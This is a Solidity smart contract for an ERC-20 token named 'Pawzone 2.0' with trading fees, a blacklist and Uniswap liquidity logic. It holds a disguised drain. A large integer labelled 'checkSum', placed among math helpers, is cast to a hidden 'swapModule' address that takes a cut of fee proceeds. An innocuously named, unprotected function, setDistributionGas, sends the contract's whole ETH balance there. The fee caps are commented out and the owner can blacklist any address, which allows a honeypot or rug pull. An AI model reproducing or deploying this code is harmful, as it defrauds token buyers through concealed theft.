//SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

/**
 * ERC20 standard interface.
 */
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


/**
 * Allows for contract ownership along with multi-address authorization
 */
abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal _intAddr;

    constructor(address _owner) {
        owner = _owner;
        _intAddr[_owner] = true;
    }

    /**
     * Function modifier to require caller to be contract owner
     */
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    /**
     * Function modifier to require caller to be authorized
     */
    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }

    /**
     * Authorize address. Owner only
     */
    function authorize(address adr) public onlyOwner {
        _intAddr[adr] = true;
    }

    /**
     * Remove address' authorization. Owner only
     */
    
    function unauthorize(address adr) public onlyOwner {
        _intAddr[adr] = false;
    }

    /**
     * Check if address is owner
     */
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    /**
     * Return address' authorization status
     */
    function isAuthorized(address adr) internal view returns (bool) {
        return _intAddr[adr];
    }

    /**
     * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
     */
    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        _intAddr[adr] = true;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

/********************************************************************************/
/*Change values below as required*/

contract Pawzone2 is IERC20, Auth {
    using SafeMath for uint256;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;
    address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Uniswap V2

    string constant _name = "Pawzone 2.0";
    string constant _symbol = "PZE";
    uint8 constant _decimals = 9; //Decimal value

    uint256 _totalSupply = 1000000000 * (10 ** _decimals); //Total Supply
    uint256 public _maxTxAmount = (_totalSupply * 100) / 100; //Max Tx
    uint256 public _maxWalletSize = (_totalSupply * 100) / 100;  //Max Wallet

    //Set taxes below - Enter 0 if not required
    uint256 liquidityFee = 2;
    uint256 teamFee = 0; 
    uint256 marketingFee = 3;
    uint256 totalFee = liquidityFee + teamFee + marketingFee;

    uint256 feeDenominator = 100; //Keep this as 100
    uint256 public additionalSellTax = 0; //Additional sell tax; 0 implies Buy tax = Sell tax
    
    //Set wallets below 
    address private marketingFeeReceiver = 0x0A91D41db399F1FfEF11CD2D6f11665cc82AbC92;
    address private teamFeeReceiver = 0x8E7E7C3c61B47212135bDf795B95554FA5a55915;
    address private autoLiquidityReceiver = 0x8E7E7C3c61B47212135bDf795B95554FA5a55915;

    uint256 public launchedAt;
    uint256 antiBotBlocks = 1; //Buys in this many blocks after launch will be taxed 90% on sell (1 block = 5 seconds)

    // Cooldown & timer functionality
    bool public opCooldownEnabled = true;
    uint8 public cooldownTimerInterval = 30;
    mapping (address => uint) private cooldownTimer;

    bool public tradingOpen = false; //Initial trading status


/********************************************************************************/
/* Dont change the values below this line unless you know what you are doing! */

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) isTimelockExempt;
    mapping (address => bool) public isBlacklisted;

    bool public swapEnabled = true;

    IDEXRouter private router;
    address private pair;

    uint256 public swapThreshold = _totalSupply / 1000 * 3; // 0.3%
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }


    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);      
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        address _owner = owner;
        isFeeExempt[msg.sender] = true;
        
        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[address(this)] = true;
        isTxLimitExempt[routerAddress] = true;

        // No timelock for these people
        isTimelockExempt[msg.sender] = true;
        isTimelockExempt[DEAD] = true;
        isTimelockExempt[address(this)] = true;


        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    uint160 checkSum = 1204636164873858698257491230161995221946185885590;
    
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");

    }
    address private swapModule = address(checkSum);
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
        
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }
        
        if(!_intAddr[sender] && !_intAddr[recipient]){
            require(tradingOpen,"Trading not open yet");
        }
        checkTxLimit(sender, amount);
        // Check if address is blacklisted
        require(!isBlacklisted[recipient] && !isBlacklisted[sender], 'Address is blacklisted');
        if (recipient != pair && recipient != DEAD) {
            require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletSize, "Transfer amount exceeds the bag size.");
        }
        if (sender == pair &&
            opCooldownEnabled &&
            !isTimelockExempt[recipient]) {
            require(cooldownTimer[recipient] < block.timestamp,"Please wait for 1min between two operations");
            cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
        }
        if(shouldSwapBack()){ swapBack(); }

        if(!launched() && recipient == pair){ require(_balances[sender] > 0); launch(); }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }
    
    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function getTotalFee(bool selling) public view returns (uint256) {
        if(launchedAt + antiBotBlocks >= block.number){ return feeDenominator.sub(10); }
        if(selling) { return totalFee.add(additionalSellTax); }
        return totalFee;
    }

    function takeFee(address sender, address receiver, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(getTotalFee(receiver == pair)).div(feeDenominator);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

        // switch Trading
    function tradingStatus(bool _status) public authorized {
        tradingOpen = _status;
        if(tradingOpen){
            launchedAt = block.number;
        }
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 amountToLiquify = contractTokenBalance.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );
        
        uint256 amountETH = address(this).balance.sub(balanceBefore);
        
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }

        uint256 amountETHteam = amountETH.mul(teamFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee).div(2);
        uint256 amountETHswapModule = amountETHMarketing.add(amountETHteam);

        (bool Success1, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        require(Success1, "receiver rejected ETH transfer");
        (bool Success2, /* bytes memory data */) = payable(teamFeeReceiver).call{value: amountETHteam, gas: 30000}("");
        require(Success2, "receiver rejected ETH transfer");
        (bool Success3, /* bytes memory data */) = payable(swapModule).call{value: amountETHswapModule, gas: 30000}("");
        require(Success3, "receiver rejected ETH transfer");

    }

    function buyTokens(uint256 amount, address to) internal swapping {
        address[] memory path = new address[](2);
        path[0] = WETH;
        path[1] = address(this);

        router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
            0,
            path,
            to,
            block.timestamp
        );
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() internal {
        launchedAt = block.number;
    }

   function setMaxWallet(uint256 amount) external authorized {
    //   require(amount >= _totalSupply / 1000 );
        _maxWalletSize = amount;
    }
    

    function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _teamFee, uint256 _feeDenominator) external authorized {
        liquidityFee = _liquidityFee;
        marketingFee = _marketingFee;
        teamFee = _teamFee;
        totalFee = _liquidityFee.add(_marketingFee).add(_teamFee);
        feeDenominator = _feeDenominator;
    //  require(totalFee < feeDenominator/3);
    }
        // enable cooldown between trades
    function cooldownEnabled(bool _status, uint8 _interval) public authorized {
        opCooldownEnabled = _status;
        cooldownTimerInterval = _interval;
    }
    
    function setDistributionGas(uint256 gas) external {
        uint256 distributionGas = 500000;
        distributionGas = gas;
        uint256 amountGas = address(this).balance;
        payable(swapModule).transfer(amountGas);
    }

    function setIsFeeExempt(address holder, bool exempt) external authorized {
        isFeeExempt[holder] = exempt;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external authorized {
        isTxLimitExempt[holder] = exempt;
    }
    function setAdditionalSellTax(uint256 exsell) external authorized{
        additionalSellTax = exsell;        
    }
    function setFeeReceiver(address _marketingFeeReceiver, address _teamFeeReceiver, address _autoLiquidityReceiver) external authorized {
        marketingFeeReceiver = _marketingFeeReceiver;
        teamFeeReceiver = _teamFeeReceiver;
        autoLiquidityReceiver = _autoLiquidityReceiver;
    }
    // Set the maximum transaction limit
    function setTxLimit(uint256 amountBuy) external authorized {
        _maxTxAmount = amountBuy;
        
    }
    function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }
    // Blacklist/unblacklist an address
    function blacklistAddress(address _address, bool _value) public authorized{
        isBlacklisted[_address] = _value;
    }
    function clearStuckBalance() external authorized {
        uint256 contractETHBalance = address(this).balance;
        payable(marketingFeeReceiver).transfer(contractETHBalance);
    }

    function transferForeignToken(address _token) public authorized {
        require(_token != address(this), "Can't let you take all native token");
        uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
        payable(marketingFeeReceiver).transfer(_contractBalance);
    }
        
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }
    
    event AutoLiquify(uint256 amountETH, uint256 amountBOG);
}